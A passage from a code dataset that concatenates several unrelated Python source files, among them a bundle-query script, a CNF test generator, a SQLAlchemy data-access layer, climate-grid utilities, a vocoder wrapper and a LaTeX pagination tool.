year_and_qtr_str)\ndf_to_upload.to_sql('ndnqi_raw_export', con=engine, chunksize=10, if_exists='append')\nprint('upload complete')\n \n#rename the files so you can tell which files have been uploaded to the database and when\nos.rename(raw_file + 'NDNQI Raw Output ' + year_and_qtr_str + '.xlsx', raw_file + 'NDNQI Raw Output ' + year_and_qtr_str + '_upload_' + timestamp_left10 + '.xlsx')\n\n#print the entire contents of the updated table to excel for exploratory or debugging purposes\n#new_table_to_excel_()\n\n","sub_path":"ni_test_upload.py","file_name":"ni_test_upload.py","file_ext":"py","file_size_in_byte":5058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"194344679","text":"from future import standard_library\nstandard_library.install_aliases()\nimport os\nimport json, ssl, argparse\nimport threading\nimport time\nfrom urllib.request import urlopen, Request\n\n#es_service = os.environ.get(\"ES_SERVICE\", \"localhost\")\n\nparser = argparse.ArgumentParser(description='Process options the finder of golden bundles.')\nparser.add_argument('--assay-id', dest='assay_id', action='store',\n default='Q3_DEMO-assay1', help='assay id')\nparser.add_argument('--dss-url', dest='dss_url', action='store',\n default='https://dss.staging.data.humancellatlas.org/v1/search?replica=aws', help='The url for the storage system.')\nparser.add_argument('--indexer-url', dest='repoCode', action='store',\n default='https://9b92wjnlgh.execute-api.us-west-2.amazonaws.com/dev/', help='The indexer URL')\n\n#Get the arguments into args\nargs = parser.parse_args()\n\n# headers = {}\n#json_str = urlopen(requestConstructor(str(\"https://metadata.\"+redwood_host+\"/entities?page=0\"), headers), context=ctx).read()\n\ndef requestConstructor(url, headers, data):\n '''\n Helper function to make requests to use on with urlopen()\n '''\n req = Request(url, data.encode('utf-8'))\n for key, value in list(headers.items()):\n req.add_header(key, value)\n\n return req\n\ndef executeRequest(req):\n '''\n Helper function to make the post request to the indexer\n '''\n f = urlopen(req)\n response = f.read()\n f.close()\n return response\n\ndef parseResultEntry(result_entry):\n '''\n Helper function to parse the results from a single results entry\n '''\n bundle_id = result_entry['bundle_id']\n bundle_uuid = bundle_id[:36]\n bundle_version = bundle_id[37:]\n return (bundle_uuid, bundle_version)\n\ndef main():\n '''\n Main function which will carry out the execution of the program\n '''\n headers = {\"accept\": \"application/json\", \"content-type\": \"application/json\"}\n data = json.dumps({\"es_query\": {\"query\": { \"bool\": {\"must\": [{\"match\":{\"files.assay_json.id\": args.assay_id}}]}}}})\n req = requestConstructor(args.dss_url, headers, data)\n response = executeRequest(req)\n response = json.loads(response)\n bundle_list = [parseResultEntry(x) for x in response['results']]\n # Post to the indexer endpoint\n headers = {\"content-type\": \"application/json\"}\n # post_result = postToIndexer(bundle_list, args.repoCode, headers)\n threads = []\n for bundle, version in bundle_list:\n data = json.dumps({ \"query\": { \"query\": { \"match_all\":{}} }, \"subscription_id\": \"ba50df7b-5a97-4e87-b9ce-c0935a817f0b\", \"transaction_id\": \"ff6b7fa3-dc79-4a79-a313-296801de76b9\", \"match\": { \"bundle_version\": version, \"bundle_uuid\": bundle } })\n req = requestConstructor(args.repoCode, headers, data)\n threads.append(threading.Thread(target=executeRequest, args=(req,)))\n\n print (\"Bundle: {}, Version: {}\".format(bundle, version))\n try:\n response = executeRequest(req)\n except Exception as e:\n print (e)\n print (\"Total of {} bundles\".format(len(bundle_list)))\n start = time.time()\n# for thread in threads:\n# thread.start()\n# for thread in threads:\n# thread.join()\n# print \"Elapsed Time: %s\" % (time.time() - start)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"test/find-golden-tickets.py","file_name":"find-golden-tickets.py","file_ext":"py","file_size_in_byte":3326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"37347152","text":"# Created by Andrew Stoddard and Nick Thomas\r\n#\r\n# Used to create test files in the /testFiles folder.\r\n# Can be used to create multiple files at the same time.\r\nimport random\r\nimport os.path\r\nimport argparse\r\n\r\nparser = argparse.ArgumentParser(description='Process command line arguments')\r\nparser.add_argument(\"variables\", default=1, nargs='?', type=int, help=\"The max number of variables to use.\")\r\nparser.add_argument(\"clauses\", default=1, nargs='?', type=int, help=\"Number of clauses to generate.\")\r\nparser.add_argument('--tests', required=False, default=1, type=int, help=\"Number of tests to generate\")\r\n\r\nargs = parser.parse_args()\r\n\r\nvariables = args.variables\r\nclauses = args.clauses\r\ntests = args.tests\r\n\r\nprint(\"generating...\\n\")\r\ndirectory = \"testFiles\"\r\n\r\n# Create test file directory if it doesn't already exist\r\nif not os.path.exists(directory):\r\n os.makedirs(directory) \r\n\r\n#Create test file\r\nfor test in range(0,tests):\r\n # This is a number used to differentiate files of the same clauses and variables\r\n version = 1 \r\n\r\n # File structure is inputFile-(number of variables)-(number of clauses)-(version number)\r\n fileName = directory + \"/inputfile-\" + str(variables) + \"-\" + str(clauses) + \"-\" + str(version) \r\n\r\n # If a file already exists with the attempted name, increase version number and check again\r\n while os.path.exists(fileName):\r\n version+=1\r\n fileName = directory + \"/inputfile-\" + str(variables) + \"-\" + str(clauses) + \"-\" + str(version)\r\n\r\n file = open(fileName, 'w')\r\n\r\n # Add helpful comments and DIMACS formatting\r\n file.write(\"c This is a test generated with \" + str(variables) + \" variables and \" + str(clauses) + \" clauses\\n\")\r\n file.write(\"c This is version \" + str(version) + \" of this test\\n\")\r\n file.write(\"p cnf \" + str(variables) + \" \" + str(clauses) + \"\\n\")\r\n\r\n # Add clauses\r\n for x in range(0, clauses):\r\n clause = \"\"\r\n\r\n variables_in_clause = random.randint(1, variables)\r\n variable_list = random.sample(range(1, variables+1), random.randint(1, variables))\r\n\r\n # Randomize added variable\r\n for variable in variable_list:\r\n if random.randint(0,1):\r\n clause += \"-\" + str(variable) + \" \"\r\n else:\r\n clause += str(variable) + \" \"\r\n\r\n clause += \"0\\n\"\r\n file.write(clause)\r\n\r\n file.close()\r\n\r\n\r\nprint(\"complete.\\n\")\r\n\r\n","sub_path":"testGenerator.py","file_name":"testGenerator.py","file_ext":"py","file_size_in_byte":2429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"228252038","text":"from google.cloud import datastore\nimport configparser\nfrom model import Ticker\nfrom model import Strategie\n\nconfig = configparser.ConfigParser()\nconfig.read('config.txt')\n\nclient = datastore.Client(project=config['project']['id'])\n\ndef getLastTicker():\n\tkey = client.key('Ticker', 'last')\n\ttickerEntity = client.get(key)\n\tticker = Ticker.Ticker(tickerEntity)\n\treturn ticker\n\ndef getOpenStrategies():\n\t\"\"\"Returns an array of open Strategie Objects\"\"\"\n\tquery = client.query(kind='Strategie')\n\tquery.add_filter('status', '=', 'open')\n\n\tstrategies = []\n\n\tfor entity in list(query.fetch()):\n\t\tstrategies.append(Strategie.Strategie(entity))\n\n\treturn strategies\n\n","sub_path":"datastore.py","file_name":"datastore.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"289515058","text":"\nimport os\n\nimport torch\nimport yaml\nfrom scipy.io import wavfile\n\nfrom parallel_wavegan.utils import load_model\n\n\nclass Vocoder:\n def __init__(self, checkpoint, config=None):\n \"\"\"\n Parameters\n ----------\n checkpoint: str, the path of model checkpoint file.\n config: str, the path of model configuration file.\n \"\"\"\n\n # load config\n if config is None:\n dirname = os.path.dirname(checkpoint)\n config = os.path.join(dirname, \"config.yml\")\n with open(config) as f:\n self._config = yaml.load(f, Loader=yaml.Loader)\n\n # setup model\n if torch.cuda.is_available():\n self._device = torch.device(\"cuda\")\n else:\n self._device = torch.device(\"cpu\")\n self._model = load_model(checkpoint, self._config)\n self._model.remove_weight_norm()\n self._model = self._model.eval().to(self._device)\n\n\n def mel2wav(self, mel, output_file=None):\n \"\"\"\n Parameters\n ----------\n mel: numpy.ndarray of mel spectrogram [shape=(#spec_frame, @n_mels)]\n output_file: file path name to write the generated wav data\n\n Returns\n -------\n wav: numpy.ndarray of generated waveform in [-1, 1] [shape=(#sample_point,)]\n \"\"\"\n with torch.no_grad():\n mel = torch.tensor(mel, dtype=torch.float).to(self._device)\n wav = self._model.inference(mel).view(-1).cpu().numpy()\n\n if output_file:\n wavfile.write(output_file, self._config['sampling_rate'], (wav * 32767).astype('int16'))\n return wav\n","sub_path":"vocoder.py","file_name":"vocoder.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"125423520","text":"# uncompyle6 version 3.6.7\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build/bdist.linux-x86_64/egg/commonslib/database.py\n# Compiled at: 2015-04-04 05:19:06\n__doc__ = '\\nCreated on 2014-10-29\\nA lightweight wrapper around SQLAlchemy.\\nauthor: huwei\\n'\nfrom contextlib import contextmanager\nimport functools, inflection\nfrom app.services.base_service import ServiceException\nfrom sqlalchemy import engine_from_config, func\nfrom sqlalchemy.ext.declarative import declarative_base, DeclarativeMeta\nfrom sqlalchemy.orm import sessionmaker, scoped_session\nfrom app.commons import dateutil\nfrom decorated.base.dict import Dict\n__author__ = 'huwei'\n\nclass ModelBase(object):\n\n def __repr__(self):\n return '<%s %s>' % (self.__class__.__name__, self.fields)\n\n def __json__(self):\n return self.fields\n\n @property\n def fields(self):\n d = Dict()\n for column in self.__table__.columns:\n d[column.name] = getattr(self, column.name)\n\n return d\n\n @property\n def keys(self):\n columns = self.__table__.primary_key.columns\n return tuple([ getattr(self, c.name) for c in columns ])\n\n def update(self, fields):\n for column in self.__table__.columns:\n if column.name in fields:\n setattr(self, column.name, fields[column.name])\n\n\nclass AutoTableNameMeta(DeclarativeMeta):\n\n def __init__(cls, classname, bases, dict_):\n cls.__tablename__ = inflection.pluralize(inflection.underscore(classname))\n DeclarativeMeta.__init__(cls, classname, bases, dict_)\n\n\ndef create_model_base(**options):\n options.setdefault('cls', ModelBase)\n options.setdefault('metaclass', AutoTableNameMeta)\n return declarative_base(**options)\n\n\nBaseModel = create_model_base()\n\nclass DatabaseFactory(object):\n\n def __init__(self, **kwargs):\n self._engine = engine_from_config(kwargs, prefix='')\n self._session = scoped_session(sessionmaker(bind=self._engine))\n\n @contextmanager\n def create_session(self):\n \"\"\"Provide a transactional scope around a series of operations.\"\"\"\n session = self._session()\n try:\n try:\n yield session\n session.commit()\n except Exception as e:\n if isinstance(e, ServiceException):\n session.commit()\n raise e\n else:\n session.rollback()\n raise e\n\n finally:\n session.close()\n\n\ndef model(model_cls):\n\n def _model(cls):\n orig_init = cls.__init__\n\n @functools.wraps(cls)\n def __init__(self, *args, **kvargs):\n orig_init(self, *args, **kvargs)\n self.model_cls = model_cls\n\n cls.__init__ = __init__\n return cls\n\n return _model\n\n\nclass DatabaseTemplate(object):\n u\"\"\" 所有Dao对象需要集成DatabaseTemplate\n \"\"\"\n\n def __init__(self, session):\n self.session = session\n self.model_cls = None\n return\n\n def get(self, identity):\n instance = self.session.query(self.model_cls).get(identity)\n if instance is None or hasattr(instance, 'is_deleted') and instance.is_deleted:\n return\n return instance\n return\n\n def get_first_by_criterion(self, *criterion):\n return self.session.query(self.model_cls).filter(*criterion).first()\n\n def gets_by_ids(self, ids):\n no_order_instances = self.session.query(self.model_cls).filter(self.model_cls.id.in_(ids)).all()\n inst_dict = dict()\n for instance in no_order_instances:\n inst_dict[instance.id] = instance\n\n instances = list()\n for identity in ids:\n instance = inst_dict.get(identity, None)\n if instance is not None:\n instances.append(instance)\n\n return instances\n\n def get_dict_by_ids(self, ids):\n instances = self.session.query(self.model_cls).filter(self.model_cls.id.in_(ids)).all()\n inst_dict = dict()\n for instance in instances:\n inst_dict[instance.id] = instance\n\n return inst_dict\n\n def count(self, *criterion):\n self.session.query(func.count('*')).select_from(self.model_cls).filter(*criterion).scalar()\n\n def add(self, instance):\n if hasattr(instance, 'created_at'):\n instance.created_at = dateutil.timestamp()\n if hasattr(instance, 'updated_at'):\n instance.updated_at = dateutil.timestamp()\n self.session.add(instance, _warn=True)\n self.session.flush([instance])\n return instance\n\n def add_all(self, instances):\n u\"\"\"插入所有\n :param instances: 多个实例对象\n \"\"\"\n if instances is None or len(instances) == 0:\n return\n has_updated_at = hasattr(instances[0], 'updated_at')\n has_created_at = hasattr(instances[0], 'created_at')\n now = dateutil.timestamp() if has_updated_at or has_created_at else None\n for instance in instances:\n if has_updated_at:\n instance.updated_at = now\n if has_created_at:\n instance.created_at = now\n\n self.session.add_all(instances)\n self.session.flush(instances)\n return instances\n\n def update(self, instance):\n if hasattr(instance, 'updated_at'):\n instance.updated_at = dateutil.timestamp()\n self.session.merge(instance, load=True)\n self.session.flush([instance])\n return instance\n\n def update_all(self, instances):\n if instances is None or len(instances) == 0:\n return\n has_updated_at = hasattr(instances[0], 'updated_at')\n now = dateutil.timestamp() if has_updated_at else None\n for instance in instances:\n if has_updated_at:\n instance.updated_at = now\n self.session.merge(instance, load=True)\n\n self.session.flush(instances)\n return\n\n def delete_by_id(self, identity):\n instance = self.get(identity)\n if instance is not None:\n self.session.delete(instance)\n self.session.flush([instance])\n return\n\n def delete(self, instance):\n if instance is None:\n return\n else:\n if hasattr(instance, 'is_deleted'):\n instance.is_deleted = True\n self.session.merge(instance, load=True)\n self.session.flush([instance])\n else:\n self.session.delete(instance)\n self.session.flush([instance])\n return\n\n def _scalar(self, clause, params=None, mapper=None, bind=None, **kw):\n return self.session.scalar(clause, params=params, mapper=mapper, bind=bind, **kw)\n\n def _execute(self, clause, params=None, mapper=None, bind=None, **kw):\n return self.session.execute(clause, params=params, mapper=mapper, bind=bind, **kw)\n\n def _query(self, *entities, **kwargs):\n return self.session.query(*entities, **kwargs)\n\n def _add(self, instance, _warn=True):\n return self.session.add(instance, _warn=_warn)\n\n def _add_all(self, instances):\n return self.session.add_all(instances)\n\n def _delete(self, instance):\n return self.session.delete(instance)\n\n def _merge(self, instance, load=True):\n return self.session.merge(instance, load)\n\n def _flush(self, objects):\n return self.session.flush(objects)\n\n def _refresh(self, instance, attribute_names=None, lockmode=None):\n return self.session.refresh(self, instance, attribute_names=attribute_names, lockmode=lockmode)","sub_path":"pycfiles/commons_1c-3.3.3-py3-none-any/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":7746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"489177708","text":"import numpy as np\n# import pathlib\nimport cftime\n\n\n# import xarray as xr\n\n\nclass Grid:\n \n def __init__(self, lon, lat, z):\n self.lon = lon\n self.lat = lat\n self.z = z\n self.lon_b = guess_bounds(self.lon)\n self.lat_b = guess_bounds(self.lat)\n self.z_b = guess_bounds(self.z)\n \n def get_surface_matrix(self, n_t=0):\n matrix = surface_matrix(self.lon, self.lat)\n return matrix if n_t <= 0 else np.resize(matrix, (n_t, matrix.shape[0], matrix.shape[1]))\n \n def get_surface_ratio(self, n_t=0):\n matrix = surface_matrix(self.lon, self.lat)\n return matrix / np.sum(matrix) if n_t <= 0 else np.resize(matrix / np.sum(matrix),\n (n_t, matrix.shape[0], matrix.shape[1]))\n \n def get_volume_matrix(self, n_t=0):\n matrix = volume_matrix(self.lon, self.lat, self.z)\n return matrix if n_t <= 0 else np.resize(matrix, (n_t, matrix.shape[0], matrix.shape[1], matrix.shape[2]))\n\n\ndef cell_area(n_lon, lat1, lat2):\n \"\"\"\n Area of a cell on a regular lon-lat grid.\n :param n_lon: number of longitude divisions\n :param lat1: bottom of the cell\n :param lat2: top of the cell\n :return:\n \"\"\"\n r = 6371000\n lat1_rad, lat2_rad = 2 * np.pi * lat1 / 360, 2 * np.pi * lat2 / 360\n return 2 * np.pi * r ** 2 * np.abs(np.sin(lat1_rad) - np.sin(lat2_rad)) / n_lon\n\n\ndef surface_matrix(lon, lat):\n \"\"\"\n Compute a matrix with all the surfaces values.\n :param lon:\n :param lat:\n :return:\n \"\"\"\n n_j, n_i = len(lat), len(lon)\n lat_b = guess_bounds(lat)\n surface = np.zeros((n_j, n_i))\n for i in range(n_i - 1):\n for j in range(n_j - 1):\n surface[j, i] = cell_area(n_i, lat_b[j], lat_b[j + 1])\n return surface\n\n\ndef volume_matrix(lon, lat, z):\n n_lat, n_lon, n_z = len(lat), len(lon), len(z)\n if any([n_lat == 1, n_lon == 1, n_z == 1]):\n raise ValueError(f\"Dimensions length must be >= 1.\")\n lat_b = guess_bounds(lat)\n z_b = guess_bounds(z)\n volume = np.zeros((n_lat, n_lon, n_z))\n for i in range(n_lat):\n for j in range(n_lon):\n for k in range(n_z):\n volume[i, j, k] = cell_area(n_lon, lat_b[i], lat_b[i + 1]) * np.abs(z_b[k + 1] - z_b[k])\n return volume\n\n\ndef running_mean(data, n, axis=0):\n \"\"\"\n Running mean on n years for a 1D or 2D array. Only use the past values.\n Parameters\n ----------\n data : numpy 1D or 2D array with time as first dimension\n data to process the running mean\n n : int\n number of years to perform the running mean\n axis : int\n axis\n Returns\n -------\n numpy 1D or 2D array\n new averaged data\n \"\"\"\n try:\n if data.ndim == 1:\n mean = np.convolve(data, np.ones(n), mode=\"full\")\n elif data.ndim == 2:\n n_i = data.shape[axis]\n n_j = data.shape[1] if axis == 0 else data.shape[0]\n mean = np.zeros((n_i, n_j))\n for j in range(n_j):\n mean[:, j] = np.convolve(data[:, j], np.ones(n), mode=\"full\")[:len(data)]\n \n else:\n raise ValueError(\"Dimensions >2 not implemented yet.\")\n except TypeError as error:\n print(error)\n print(\"Returning initial tab.\")\n return data\n \n out_mean = np.zeros(data.shape)\n for i in range(len(data)):\n if i + 1 < n:\n out_mean[i] = mean[i] / (i + 1)\n else:\n out_mean[i] = mean[i] / n\n return out_mean\n\n\ndef coordinate_to_index(longitude, latitude, target_lon, target_lat):\n \"\"\"\n Find the closet -or at least pretty clos- indexes from a coordiantes grid to a point.\n inc should have the magnitude of the grd size\n Parameters\n ----------\n longitude : numpy 2D array\n grid longitudes coordinates\n latitude : numpy 2D array\n grid latitudes coordinates\n target_lon : float?\n point longitude\n target_lat : float?\n point latitude\n step for the research (default is 0,5)\n Returns\n -------\n int, int\n indexes that match the longitudes and the latitudes.\n \"\"\"\n i_out = (np.abs(latitude - target_lat)).argmin()\n j_out = (np.abs(longitude - target_lon)).argmin()\n \n return j_out, i_out\n\n\ndef lon_to_index(longitude, target_lon):\n return (np.abs(longitude - target_lon)).argmin()\n\n\ndef lat_to_index(latitude, target_lat):\n return (np.abs(latitude - target_lat)).argmin()\n\n\ndef z_to_index(z, target_z):\n return (np.abs(z - target_z)).argmin()\n\n\ndef guess_bounds(coordinate):\n if coordinate is not None:\n if len(coordinate) <= 1:\n coordinateb = coordinate\n else:\n coordinateb = [(coordinate[i] + coordinate[i + 1]) / 2 for i in range(len(coordinate) - 1)]\n coordinateb = np.append((3 * coordinate[0] - coordinate[1]) / 2, coordinateb)\n coordinateb = np.append(coordinateb, (3 * coordinate[-1] - coordinate[-2]) / 2)\n return np.array(coordinateb)\n else:\n raise ValueError(\"Empty coordinate.\")\n\n\ndef guess_from_bounds(coordinateb):\n if coordinateb is not None:\n if len(coordinateb) <= 1:\n coordinate = coordinateb\n else:\n coordinate = [(coordinateb[i] + coordinateb[i + 1]) / 2 for i in range(len(coordinateb) - 1)]\n return np.array(coordinate)\n else:\n raise ValueError(\"Empty coordinate.\")\n\n\ndef compute_steps(coordinate):\n if coordinate is not None:\n if len(coordinate) <= 1:\n coordinates = 0\n else:\n coordinates = [(coordinate[i] - coordinate[i + 1]) for i in range(len(coordinate) - 1)]\n return np.array(coordinates)\n else:\n raise ValueError(\"Empty coordinate.\")\n\n\n# def guess_bounds_old(coordinate, mode):\n# \"\"\"\n# DEPRECATED\n# \"\"\"\n# if mode == \"lon\":\n# lon_b = []\n# if coordinate is not None:\n# if lon_b is None:\n# lon_b = [(coordinate[i] + coordinate[i + 1]) / 2 for i in range(len(coordinate) - 1)]\n# lon_b = np.append((3 * coordinate[0] - coordinate[1]) / 2, lon_b)\n# lon_b = np.append(lon_b, (3 * coordinate[-1] - coordinate[-2]) / 2)\n# elif len(coordinate) <= 1:\n# lon_b = coordinate\n# elif len(lon_b) == len(coordinate):\n# lon_b = np.append(lon_b, 2 * lon_b[-1] - lon_b[-2])\n# elif len(lon_b) == len(coordinate) + 1:\n# pass\n# elif len(lon_b) == len(coordinate) - 1:\n# lon_b = np.append(2 * lon_b[1] - lon_b[2], lon_b)\n# lon_b = np.append(lon_b, 2 * lon_b[-1] - lon_b[-2])\n# else:\n# lon_b = [(coordinate[i] + coordinate[i + 1]) / 2 for i in range(len(coordinate) - 1)]\n# lon_b = np.append((3 * coordinate[0] - coordinate[1]) / 2, lon_b)\n# lon_b = np.append(lon_b, (3 * coordinate[-1] - coordinate[-2]) / 2)\n# return lon_b\n# else:\n# return None\n#\n# if mode == \"lat\":\n# if coordinate is not None:\n# return coordinate\n# else:\n# return None\n#\n# if mode == \"z\":\n# if coordinate is not None:\n# z_b = []\n# if z_b is None:\n# z_b = [(coordinate[i] + coordinate[i + 1]) / 2 for i in range(len(coordinate) - 1)]\n# z_b = np.append((3 * coordinate[0] - coordinate[1]) / 2, z_b)\n# z_b = np.append(z_b, (3 * coordinate[-1] - coordinate[-2]) / 2)\n# elif len(coordinate) <= 1:\n# z_b = coordinate\n# elif len(z_b) == len(coordinate):\n# z_b = np.append(z_b, 2 * z_b[-1] - z_b[-2])\n# elif len(z_b) == len(coordinate) + 1:\n# pass\n# elif len(z_b) == len(coordinate) - 1:\n# z_b = np.append(2 * z_b[1] - z_b[2], z_b)\n# z_b = np.append(z_b, 2 * z_b[-1] - z_b[-2])\n# else:\n# z_b = [(coordinate[i] + coordinate[i + 1]) / 2 for i in range(len(coordinate) - 1)]\n# z_b = np.append((3 * coordinate[0] - coordinate[1]) / 2, z_b)\n# z_b = np.append(z_b, (3 * coordinate[-1] - coordinate[-2]) / 2)\n# return z_b\n# else:\n# return None\n\n\ndef generate_filepath(path):\n \"\"\"\n Generate a filepath dictionary from a txt file.\n\n DEPRECATED\n\n Returns\n -------\n dict\n source_name (values) to experiment_name (keys) connections\n \"\"\"\n result_dict = dict()\n with open(path) as f:\n for line in f:\n (key, val, trash) = line.split(\";\") # Certainement mieux à faire que trasher...\n result_dict[key] = val\n return result_dict\n\n\ndef generate_input(path):\n \"\"\"\n Generate an input dictionary from a txt file.\n\n Returns\n -------\n dict\n set of inputs (values) for a experiment (keys)\n \"\"\"\n result_dict = dict()\n with open(path) as f:\n for line in f:\n if line[0] == '#':\n continue\n key = line.split(\";\")[0]\n val = line.split(\";\")[1:-1]\n result_dict[key] = val\n return result_dict\n\n\n# TIME\n\ndef t_to_index(t, target_t: cftime.Datetime360Day):\n return (abs(t - target_t)).argmin()\n\n\ndef months_to_number(month_list):\n try:\n conversion = {'ja': 1, 'fb': 2, 'mr': 3, 'ar': 4, 'my': 5, 'jn': 6, 'jl': 7, 'ag': 8, 'sp': 9, 'ot': 10,\n 'nv': 11, 'dc': 12}\n return [int(month) if isinstance(month, int) or month.isdigit() else conversion[month] for month in\n month_list]\n except ValueError as error:\n print(error)\n\n\ndef cycle_lon(array):\n if array.ndim > 1:\n return np.append(array, array[:, 0][:, np.newaxis], axis=1)\n else:\n return np.append(array, array[0])\n\n\ndef cycle_box(lon_min, lon_max, lat_min, lat_max):\n return [[lon_min, lon_min, lon_max, lon_max, lon_min],\n [lat_min, lat_max, lat_max, lat_min, lat_min]]\n\n\ndef print_coordinates(name, coordinate):\n coordinate = np.array(coordinate)\n if coordinate is None:\n return f\"{name}: None\"\n if len(coordinate.shape) == 1:\n if isinstance(coordinate, np.float32) or isinstance(coordinate, float):\n return f\"{name}: [{coordinate}; 1]\"\n elif len(coordinate) >= 2:\n return f\"{name}: [{coordinate[0]}; {coordinate[1]}; ...; {coordinate[-2]}; {coordinate[-1]}; \" \\\n f\"{len(coordinate)}]\"\n elif len(coordinate) == 1:\n return f\"{name}: [{coordinate[0]}; {len(coordinate)}]\"\n else:\n return f\"{name}: Null\"\n elif len(coordinate.shape) == 2:\n if isinstance(coordinate, np.float32) or isinstance(coordinate, float):\n return f\"{name}: [{coordinate}; 1]\"\n elif len(coordinate[0]) >= 2:\n return f\"{name}: [{coordinate[0, 0]}; {coordinate[0, 1]}; ...; {coordinate[-1, -2]}; \" \\\n f\"{coordinate[-1, -1]}; {coordinate.shape}]\"\n elif len(coordinate) == 1:\n return f\"{name}: [{coordinate[0, 0]}; {coordinate.shape}]\"\n else:\n return f\"{name}: Null\"\n# Generate\n# path2lsm = generate_filepath(str(pathlib.Path(__file__).parent.absolute()) + \"/resources/path2lsm\")\n","sub_path":"util_hadcm3.py","file_name":"util_hadcm3.py","file_ext":"py","file_size_in_byte":11466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"119573693","text":"\n\"\"\"\nDefines constants used at runtime by the neural network (3-layer) program\n\"\"\"\n\n__author__ = \"Edwin Heredia\"\n__copyright__ = \"Copyright 2016, Edwin Heredia\"\n__license__ = \"Not available yet\"\n__version__ = \"0.7\"\n__status__ = \"Development\"\n\nlanguage = \"eng\" # language for displaying text messages on screen\n\nMAX_INPUT = 1000 # maximum number of inputs (dimension of the input vector)\nMAX_HIDDEN = 1000 # maximum number of hidden variables (dimension of the hidden vector)\nMAX_OUTPUT = 1000 # maximum number of outputs (dimension of the output vector)\n\nTRAIN_SIZE = 80 # percentage of samples used for training\n\nerror_msg = {\n \"not_init\": {\"eng\": \"neural net has not been initialized\",\n \"spa\": \"la red neural no ha sido inicializada\"},\n \"not_found\": {\"eng\": \"file not found\",\n \"spa\": \"no se encuentra el archivo\"},\n \"cannot_open\": {\"eng\": \"cannot open file\",\n \"spa\": \"no se puede abrir el archivo\"},\n \"parse_error\": {\"eng\": \"failed to parse content of a file\",\n \"spa\": \"no se pudo decodificar el contenido del archive\"},\n \"dval_error\": {\"eng\": \"found a data value that is not a number\",\n \"spa\": \"se ha encontrado un dato que no es un numero\"},\n \"line_error\": {\"eng\": \"found a data sample in file with an erroneous number of entries\",\n \"spa\": \"se ha encontrado una linea de datos con un numero errado de elementos \"},\n \"train_bad_attrib\": {\"eng\": \"attempt to train a network with a wrong attribute\",\n \"spa\": \"tratando de entrenar una red con un atributo erroneo\"}\n}\n\n\n# Define an error handling class\nclass Outcome(object):\n\n lang = \"eng\"\n\n @staticmethod\n def ok(datatype, data):\n return {\"status\": \"ok\",\n \"type\": datatype,\n \"result\": data}\n\n @staticmethod\n def error(error_code):\n return {\"status\": \"error\",\n \"message\": error_msg[error_code][Outcome.lang]}\n","sub_path":"nnutil.py","file_name":"nnutil.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"326704155","text":"# numbering.py - update start pages, update table of contents (8-bit safe)\n\nimport re\nimport subprocess\n\nfrom . import jobs, tools\n\n__all__ = ['paginate']\n\nNPAGES = r'^NumberOfPages: (\\d+)'\n\n\ndef paginate(config):\n \"\"\"Compute and update start page numbers as instructed in config file.\"\"\"\n job = jobs.Job(config)\n with tools.chdir(job.config_dir):\n updated, pages = startpages(job.paginate_update, job.to_update())\n changed = write_contents(job.paginate_target, job.paginate_replace, pages)\n return updated or changed\n\n\ndef startpages(pattern, parts):\n pattern = re.compile(pattern.encode('ascii'))\n modified = False\n result = []\n thepage = 1\n for source, pdf in parts:\n repl = ('%d' % thepage).encode('ascii')\n differed = replace(source, pattern, repl)\n if differed:\n modified = True\n result.append(thepage)\n thepage += npages(pdf)\n return modified, result\n\n\ndef replace(filename, pattern, repl, verbose=True):\n with open(filename, 'rb') as fd:\n old = fd.read()\n\n def repl_func(match):\n start = match.start(1) - match.start(0)\n end = match.end(1) - match.end(0)\n group = match.group(0)\n result = group[:start] + repl + group[end:]\n if verbose:\n print('%s\\t%s' % (filename, result.decode('ascii')))\n return result\n\n new, subn = pattern.subn(repl_func, old, 1)\n if not subn:\n raise RuntimeError\n\n if new != old:\n with open(filename, 'wb') as fd:\n fd.write(new)\n return True\n else:\n return False\n\n\ndef npages(filename, pattern=re.compile(NPAGES, re.MULTILINE)):\n \"\"\"Return the number of pages of a PDF by asking pdftk.\"\"\"\n pdftk = ['pdftk', filename, 'dump_data']\n metadata = subprocess.check_output(pdftk, universal_newlines=True)\n\n match = pattern.search(metadata)\n if match:\n return int(match.group(1))\n else:\n raise RuntimeError\n\n\ndef write_contents(filename, pattern, pages, verbose=True):\n if not filename:\n return False\n\n pattern = re.compile(pattern.encode('ascii'))\n\n with open(filename, 'rb') as fd:\n old = fd.read()\n\n def repl_func(match, pg=iter(pages)):\n start = match.start(1) - match.start(0)\n end = match.end(1) - match.end(0)\n group = match.group(0)\n repl = ('%d' % next(pg)).encode('ascii')\n result = group[:start] + repl + group[end:]\n if verbose:\n print('%s\\t%s' % (filename, result.decode('ascii')))\n return result\n\n new, subn = pattern.subn(repl_func, old)\n if subn != len(pages):\n raise RuntimeError\n\n if new != old:\n with open(filename, 'wb') as fd:\n fd.write(new)\n return True\n else:\n return False\n","sub_path":"latexpages/numbering.py","file_name":"numbering.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"336056034","text":"import random\nimport re\nimport string\n\nfrom typing import Optional, List, Dict\n\nfrom pacco.manager.file_based.utils.clients.abstract import FileBasedClientAbstract\nfrom pacco.manager.abstracts.package_registry import PackageRegistryAbstract\n\n\nclass PackageRegistryFileBased(PackageRegistryAbstract):\n \"\"\"\n An implementation of the PackageRegistry interface\n \"\"\"\n __params_prefix = '__params'\n\n def __init__(self, name: str, client: 